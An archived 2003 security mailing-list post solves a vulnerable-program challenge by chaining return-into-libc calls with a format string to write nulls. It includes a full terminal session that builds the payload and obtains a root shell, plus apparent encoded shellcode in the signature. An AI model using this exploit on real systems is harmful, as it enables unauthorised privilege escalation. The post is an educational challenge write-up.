Re: [Vuln-dev Challenge] Challenge #2 (New technique maybe?)

From: Jon Erickson (matrixat_private)
Date: Tue Jun 03 2003 - 17:18:44 PDT

  • Next message: chrisat_private: "Frame pointer overwriting and FreeBSD"

    On Sat, 24 May 2003 18:03:03 -0700
    Jose Ronnick <matrixat_private> wrote:
    > There's also a way to do with without building a trampoline prog to bounce 
    > off of.. just chaining libc calls...  If no one else posts a solution doing
    > it, I'll do it an post it later...
    
    So I had mentioned that there was a way to exploit this program without building a trampoline program...  just by chaining libc calls...  And since no one else has posted a solution doing so.. and a few people have expressed interest.. I figured I'd do so.  Also, I think this might be a new technique I came up with.. so I figured I'd share.
    
    Basically what I'm going to try to do it chain some libc calls, just like solar designer explained so many years ago..  a setuid() call chained into a system() call..  the setuid restoring privileges...  The dilemma here (which he left as an exercise for the reader) is that setuid() expects an unsigned integer as it's only argument.  Since this value should be 0, the word for this argument should be 0x00000000.  This is a problem, because any null byte will terminate the string, and this argument must be in the middle of the chain..
    
    [&setuid][&system][0x00000000][&"/bin/sh"]
    
    Crap.  A recent phrack article explains a method for writing nulls using multiple strcpy() calls, but this makes the chain pretty big..  so..
    
    here's my idea..  return-into-libc... meet my good friend the format string..  Using direct parameter access, we can skip over the arguments that are used for other calls in the chain, and using %n at the beginning, we can write 4 bytes of null anywhere we want.  In fact, using a more complex format string, and returning into the libc functions sprintf() or printf(), we can write to a multitude of different addresses, all with a single call...  And by using direct parameter access, we can leave room for other chains and only hit the arguments we want.
    
    In it's most basic form...
    
    [&sprintf][&setuid][&here][&format_string][&"/bin/sh"][&here-8]
                                  ^--------------------------'
                                  |This is where you need a null
    
    with a format string that looks something like "%2$n<&system>"..
    
    The sprintf call will happen first, parsing the DPA in the format string to access the second arg (the address where you need the null) and doing a %n  (write 4 bytes of 0).  Then it will print the address of system into &here, getting ready for the end of the chain..  Then it will return into the setuid() call, using the newly written word of null as the argument for it.. Then that will return into the newly written system address to do a system call with the "/bin/sh" argument which was neatly skipped over with thanks to direct parameter access.
    
    Being able to write any number of nulls to a nearly arbitrary number of addresses with a single call is very useful in cutting up strings..  In the following exploit, I use it to null terminate the "/bin/sh" string before the system call..
    
    Anyway.. I think this is new, and might be helpful to some people..  Here's an example of it's use on the vulndev2.c challenge.  In this one I use a slightly more complex format string, where I actually write 3 different addresses with a single call; two nulls and the system address.  Also.. on my laptop the system address is annoyingly at an address ending with 0x20, which is the space character.  Pain in the ass, but luckily the instruction right before it is a NOP, so I just return into there.. whew..  basically everything else is the same as my last exploit.. switch around the exit(1) to a sleep(1), and then chain away from there using this new technique...  Oh yeah.. also all that sed stuff with the vulnD program is just to figure out where the buffer will be located in the vuln2 program...  And I tried to make the pcalc calculations as intuitive as possible.. anyway.. lemme know what you guys think..
    
    matrix@overdose vuln-dev $ gcc -o vuln2 vulndev2.c 
    matrix@overdose vuln-dev $ sudo chown root.root vuln2
    matrix@overdose vuln-dev $ sudo chmod +s vuln2
    matrix@overdose vuln-dev $ echo 'main(){sleep();setuid();system();sprintf(0);}' > e.c;gcc -o e.x e.c;gdb -q e.x; rm e.*
    (gdb) break main
    Breakpoint 1 at 0x80483de
    (gdb) run
    Starting program: /home/matrix/research/vuln-dev/e.x 
    
    Breakpoint 1, 0x080483de in main ()
    (gdb) p sleep
    $1 = {<text variable, no debug info>} 0x400ce760 <sleep>
    (gdb) p setuid
    $2 = {<text variable, no debug info>} 0x400cf3f0 <setuid>
    (gdb) p system
    $3 = {<text variable, no debug info>} 0x40063520 <system>
    (gdb) p sprintf
    $4 = {<text variable, no debug info>} 0x400739b0 <sprintf>
    (gdb) x/i system-1
    0x4006351f <do_system+847>:     nop    
    (gdb) quit
    The program is running.  Exit anyway? (y or n) y
    matrix@overdose vuln-dev $ printf "\x60\xe7\x0c\x40/bin/shXXXX%%2\$n%%3\$n\x1f\x35\x06\x40\x00" > db.log
    matrix@overdose vuln-dev $ cat db.log
    `ç
      @/bin/shXXXX%2$n%3$n5@matrix@overdose vuln-dev $ 
    matrix@overdose vuln-dev $ objdump -R vuln2 | grep exit
    0804974c R_386_JUMP_SLOT   exit
    matrix@overdose vuln-dev $ sed -e 's/1]);/1]);\nprintf("buf @ %p\\n",\&buf);/' vulndev2.c > vulndev2-debug.c
    matrix@overdose vuln-dev $ grep -A 1 strcpy vulndev2-debug.c 
            strcpy(buf, argv[1]);
    printf("buf @ %p\n",&buf);
    matrix@overdose vuln-dev $ gcc -o vulnD vulndev2-debug.c 
    matrix@overdose vuln-dev $ ./vulnD `perl -e 'print "ABCD"x38;'` h
    buf @ 0xbffff680
    Segmentation fault
    matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4
            63236           0xf704          0y1111011100000100
    matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7 + 4
            38747           0x975b          0y1001011101011011
    matrix@overdose vuln-dev $ pcalc 0x974c + 4        
            38736           0x9750          0y1001011101010000
    matrix@overdose vuln-dev $ pcalc 0xf680 + 124 + 4 + 4 + 4
            63240           0xf708          0y1111011100001000
    matrix@overdose vuln-dev $ pcalc 0x974c + 4 + 7    
            38743           0x9757          0y1001011101010111
    matrix@overdose vuln-dev $ ./vuln2 `perl -e 'print "\x4c\x97\x04\x08"x31 . "\xb0\x39\x07\x40" . "\xf0\xf3\x0c\x40" . "\x04\xf7\xff\xbf" . "\x5b\x97\x04\x08" . "\x50\x97\x04\x08" . "\x08\xf7\xff\xbf" . "\x57\x97\x04\x08";'` h
    `ç
      @/bin/shXXXX%2$n%3$n5@
    sh-2.05b# id
    uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio),250(portage)
    sh-2.05b# 
    
    Nothing but libc calls... awww yeah...  =)
    
    -- 
    %JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
    
    
    



    This archive was generated by hypermail 2b30 : Wed Jun 04 2003 - 09:43:03 PDT